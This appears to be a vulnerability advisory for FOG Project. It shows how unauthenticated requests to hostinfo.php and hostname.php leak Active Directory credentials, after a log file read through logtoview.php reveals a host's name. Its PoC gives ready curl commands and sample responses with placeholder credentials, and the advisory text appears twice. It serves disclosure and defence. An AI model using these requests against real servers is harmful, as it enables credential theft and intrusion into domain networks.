Summary
Missing access control allows attackers to obtain sensitive information.
Details
The hostinfo page has missing/improper access control since only the host's mac address is required to obtain the configuration information. This data can only be retrieved if a task is pending on that host. Otherwise, an error message containing "Invalid tasking!" will be returned. The domainpassword in the hostinfo dump is hidden even to authenticated users, as it is displayed as a row of asterisks when navigating to the host's Active Directory settings.
https://github.com/FOGProject/fogproject/blob/a4bb1bf39ac53c3cbe623576915fbc3b5c80a00f/packages/web/service/hostinfo.php
The same can be done on the hostname page to obtain the ADPassLegacy.
https://github.com/FOGProject/fogproject/blob/a4bb1bf39ac53c3cbe623576915fbc3b5c80a00f/packages/web/service/hostname.php
|
public function send() |
|
{ |
|
ob_start(); |
|
echo '#!ok'; |
|
$password = self::$Host->get('ADPassLegacy'); |
|
printf( |
|
"=%s\n", |
|
self::$Host->get('name') |
|
); |
|
self::$Host->setAD(); |
|
$username = trim( |
|
self::$Host->get('ADUser') |
|
); |
|
if (strpos($username, chr(92)) |
|
|| strpos($username, chr(64)) |
|
) { |
|
$adUser = $username; |
|
} elseif ($username) { |
|
$adUser = sprintf( |
|
'%s\%s', |
|
self::$Host->get('ADDomain'), |
|
$username |
|
); |
|
} else { |
|
$adUser = ''; |
|
} |
|
$AD = (bool)self::$Host->get('useAD'); |
|
$hostname = self::$Host->get('name'); |
|
$ADDom = ''; |
|
$ADOU = ''; |
|
$ADUser = ''; |
|
$ADPass = ''; |
|
if ($AD === true) { |
|
$AD = 1; |
|
$ADDom = self::$Host->get('ADDomain'); |
|
$ADOU = str_replace( |
|
';', |
|
'', |
|
self::$Host->get('ADOU') |
|
); |
|
$ADUser = $adUser; |
|
$ADPass = $password; |
|
} |
|
self::$Host->setAD(); |
|
printf( |
|
"#AD=%s\n#ADDom=%s\n#ADOU=%s\n#ADUser=%s\n#ADPass=%s", |
|
$AD, |
|
$ADDom, |
|
$ADOU, |
|
$ADUser, |
|
$ADPass |
|
); |
|
$this->send = ob_get_clean(); |
|
} |
|
} |
PoC
/fog/service/hostinfo.php
There are two requirements in order to obtain sensitive information like Active Directory credentials from the "/fog/service/hostinfo.php" page. The first step is to obtain a fogclient's mac address or hostname by any means. The easiest method I found was to use the logtoview page and specifically request the "/var/log/fog/fogscheduler.log" file which contains the hostnames of devices which has recieved a task.
curl -i -s -k -X $'POST' --data-binary $'file=/var/log/fog/fogscheduler.log&ip=<BASE64_SERVERIP>' $'http://<SERVERIP>/fog/status/logtoview.php'
HTTP Response:
HTTP/1.1 200 OK
[SNIPPED]
Content-Length: 1306
"[11-11-23 1:51:35 pm] * 2 tasks found.\n[11-11-23 1:51:35 pm] * 0 scheduled task(s) to run.\n[11-11-23 1:51:35 pm] * 2 power management task(s) to run.\n[11-11-23 1:51:35 pm] * Power Management Task run time: Sat, 11 Nov 2023 14:00:00 +0000\n[11-11-23 1:51:35 pm] * This is a cron style task that should not run now..\n[11-11-23 1:51:35 pm] * Power Management Task run time: Sat, 11 Nov 2023 13:51:00 +0000\n[11-11-23 1:51:35 pm] * This is a cron style task that should run now..\n[11-11-23 1:51:35 pm] * Found a wake on lan task that should run.\n[11-11-23 1:51:35 pm] | Task sent to testhost\n[11-11-23 1:52:35 pm] * Sending 1 wake on lan request.\n[11-11-23 1:52:35 pm] * 1 total mac attempting to wake up.\n[11-11-23 1:52:35 pm] * 2 tasks found.\n[11-11-23 1:52:35 pm] * 0 scheduled task(s) to run.\n[11-11-23 1:52:35 pm] * 2 power management task(s) to run.\n[11-11-23 1:52:35 pm] * Power Management Task run time: Sat, 11 Nov 2023 14:00:00 +0000\n[11-11-23 1:52:35 pm] * This is a cron style task that should not run now..\n[11-11-23 1:52:35 pm] * Power Management Task run time: Sat, 11 Nov 2023 13:52:00 +0000\n[11-11-23 1:52:35 pm] * This is a cron style task that should run now..\n[11-11-23 1:52:35 pm] * Found a wake on lan task that should run.\n[11-11-23 1:52:35 pm] | Task sent to testhost"
Both values can be verified using the following requests:
hostname verification
HTTP Request:
GET /fog/service/hostnameloop.php?host=dGVzdGhvc3Q= HTTP/1.1
Host: <SERVERIP>
Content-Length: 0
Connection: close
HTTP Response:
HTTP/1.1 200 OK
[SNIPPED]
Content-Length: 86
A host with that name already exists The primary mac associated is: aa:aa:aa:aa:aa:aa
mac verification
HTTP Request:
GET /fog/service/blame.php?mac=aa:aa:aa:aa:aa:aa HTTP/1.1
Host: <SERVERIP>
Content-Length: 0
Connection: close
Has Pending Task HTTP Response:
HTTP/1.1 200 OK
[SNIPPED]
Content-Length: 2
##
No Pending Tasks HTTP Response:
HTTP/1.1 200 OK
[SNIPPED]
Content-Length: 59
No Active Task found for Host: testhost (aa:aa:aa:aa:aa:aa)
The second requirement is that the target host needs to have a pending task or else no data will be returned. If both of these conditions are met, an unauthenticated user can obtain AD credentials, among other things, by running the following curl command.
curl -i -s -k -X $'GET' -H 'User-Agent:' $'http://<SERVERIP>/fog/service/hostinfo.php?mac=aa:aa:aa:aa:aa:aa'
HTTP Response:
HTTP/1.1 200 OK
Date: Sat, 11 Nov 2023 11:22:18 GMT
Server: Apache/2.4.52 (Ubuntu)
X-Frame-Options: sameorigin
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
Content-Security-Policy: default-src 'none';script-src 'self' 'unsafe-eval';connect-src 'self';img-src 'self' data:;style-src 'self' 'unsafe-inline';font-src 'self';
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked
Content-Type: text/plain;charset=UTF-8
[[ -z $mac ]] && export mac='aa:aa:aa:aa:aa:aa'
[[ -z $ftp ]] && export ftp='<SERVERIP>'
[[ -z $osid ]] && export osid=''
[[ -z $storage ]] && export storage='<SERVERIP>:/images/'
[[ -z $storageip ]] && export storageip='<SERVERIP>'
[[ -z $img ]] && export img=''
[[ -z $imgFormat ]] && export imgFormat=''
[[ -z $imgType ]] && export imgType=''
[[ -z $imgPartitionType ]] && export imgPartitionType=''
[[ -z $imgid ]] && export imgid=''
[[ -z $PIGZ_COMP ]] && export PIGZ_COMP='-'
[[ -z $shutdown ]] && export shutdown='0'
[[ -z $hostearly ]] && export hostearly='1'
[[ -z $pct ]] && export pct='7'
[[ -z $ignorepg ]] && export ignorepg='1'
[[ -z $winuser ]] && export winuser=''
[[ -z $port ]] && export port=''
[[ -z $fdrive ]] && export fdrive=''
[[ -z $hostname ]] && export hostname='testhost'
[[ -z $hostdesc ]] && export hostdesc='testhost'
[[ -z $hostip ]] && export hostip=''
[[ -z $hostimageid ]] && export hostimageid='0'
[[ -z $hostbuilding ]] && export hostbuilding='0'
[[ -z $hostusead ]] && export hostusead=''
[[ -z $hostaddomain ]] && export hostaddomain='domain.local'
[[ -z $hostaduser ]] && export hostaduser='aduser'
[[ -z $hostadpass ]] && export hostadpass='aduserpassword'
[[ -z $hostadou ]] && export hostadou='domainOU'
[[ -z $hostproductkey ]] && export hostproductkey='WINDO-WSPRO-DUCTK-EY'
[[ -z $imagename ]] && export imagename=''
[[ -z $imagedesc ]] && export imagedesc=''
[[ -z $imageosid ]] && export imageosid=''
[[ -z $imagepath ]] && export imagepath=''
[[ -z $primaryuser ]] && export primaryuser=''
[[ -z $othertag ]] && export othertag=''
[[ -z $othertag1 ]] && export othertag1=''
[[ -z $sysman ]] && export sysman=''
[[ -z $sysproduct ]] && export sysproduct=''
[[ -z $sysserial ]] && export sysserial=''
[[ -z $mbman ]] && export mbman=''
[[ -z $mbserial ]] && export mbserial=''
[[ -z $mbasset ]] && export mbasset=''
[[ -z $mbproductname ]] && export mbproductname=''
[[ -z $caseman ]] && export caseman=''
[[ -z $caseserial ]] && export caseserial=''
[[ -z $caseasset ]] && export caseasset=''
[[ -z $mode ]] && export mode='checkdisk'
/fog/service/hostname.php
Run the following curl command with the mac address of an existing fogclient to obtain the ADPassLegacy value of that host.
curl -i -s -k -X $'GET' $'http://<SERVERIP>/fog/service/hostname.php?mac=aa:aa:aa:aa:aa:aa'
HTTP Response:
HTTP/1.1 200 OK
[SNIPPED]
Content-Length: 105
#!ok=testhost
#AD=1
#ADDom=domain.local
#ADOU=domainOU
#ADUser=domain.local\aduser
#ADPass=aduserpassword
Impact
Anyone with network access to the fogproject web interface and basic information about the existing fogclients can obtain sensitive information.
Summary
Missing access control allows attackers to obtain sensitive information.
Details
The hostinfo page has missing/improper access control since only the host's mac address is required to obtain the configuration information. This data can only be retrieved if a task is pending on that host. Otherwise, an error message containing "Invalid tasking!" will be returned. The domainpassword in the hostinfo dump is hidden even to authenticated users, as it is displayed as a row of asterisks when navigating to the host's Active Directory settings.
https://github.com/FOGProject/fogproject/blob/a4bb1bf39ac53c3cbe623576915fbc3b5c80a00f/packages/web/service/hostinfo.php
The same can be done on the hostname page to obtain the ADPassLegacy.
https://github.com/FOGProject/fogproject/blob/a4bb1bf39ac53c3cbe623576915fbc3b5c80a00f/packages/web/service/hostname.php
fogproject/packages/web/lib/client/hostnamechanger.class.php
Lines 111 to 165 in a4bb1bf
PoC
/fog/service/hostinfo.php
There are two requirements in order to obtain sensitive information like Active Directory credentials from the "/fog/service/hostinfo.php" page. The first step is to obtain a fogclient's mac address or hostname by any means. The easiest method I found was to use the logtoview page and specifically request the "/var/log/fog/fogscheduler.log" file which contains the hostnames of devices which has recieved a task.
curl -i -s -k -X $'POST' --data-binary $'file=/var/log/fog/fogscheduler.log&ip=<BASE64_SERVERIP>' $'http://<SERVERIP>/fog/status/logtoview.php'
HTTP Response:
Both values can be verified using the following requests:
hostname verification
HTTP Request:
HTTP Response:
mac verification
HTTP Request:
Has Pending Task HTTP Response:
No Pending Tasks HTTP Response:
The second requirement is that the target host needs to have a pending task or else no data will be returned. If both of these conditions are met, an unauthenticated user can obtain AD credentials, among other things, by running the following curl command.
curl -i -s -k -X $'GET' -H 'User-Agent:' $'http://<SERVERIP>/fog/service/hostinfo.php?mac=aa:aa:aa:aa:aa:aa'
HTTP Response:
/fog/service/hostname.php
Run the following curl command with the mac address of an existing fogclient to obtain the ADPassLegacy value of that host.
curl -i -s -k -X $'GET' $'http://<SERVERIP>/fog/service/hostname.php?mac=aa:aa:aa:aa:aa:aa'
HTTP Response:
Impact
Anyone with network access to the fogproject web interface and basic information about the existing fogclients can obtain sensitive information.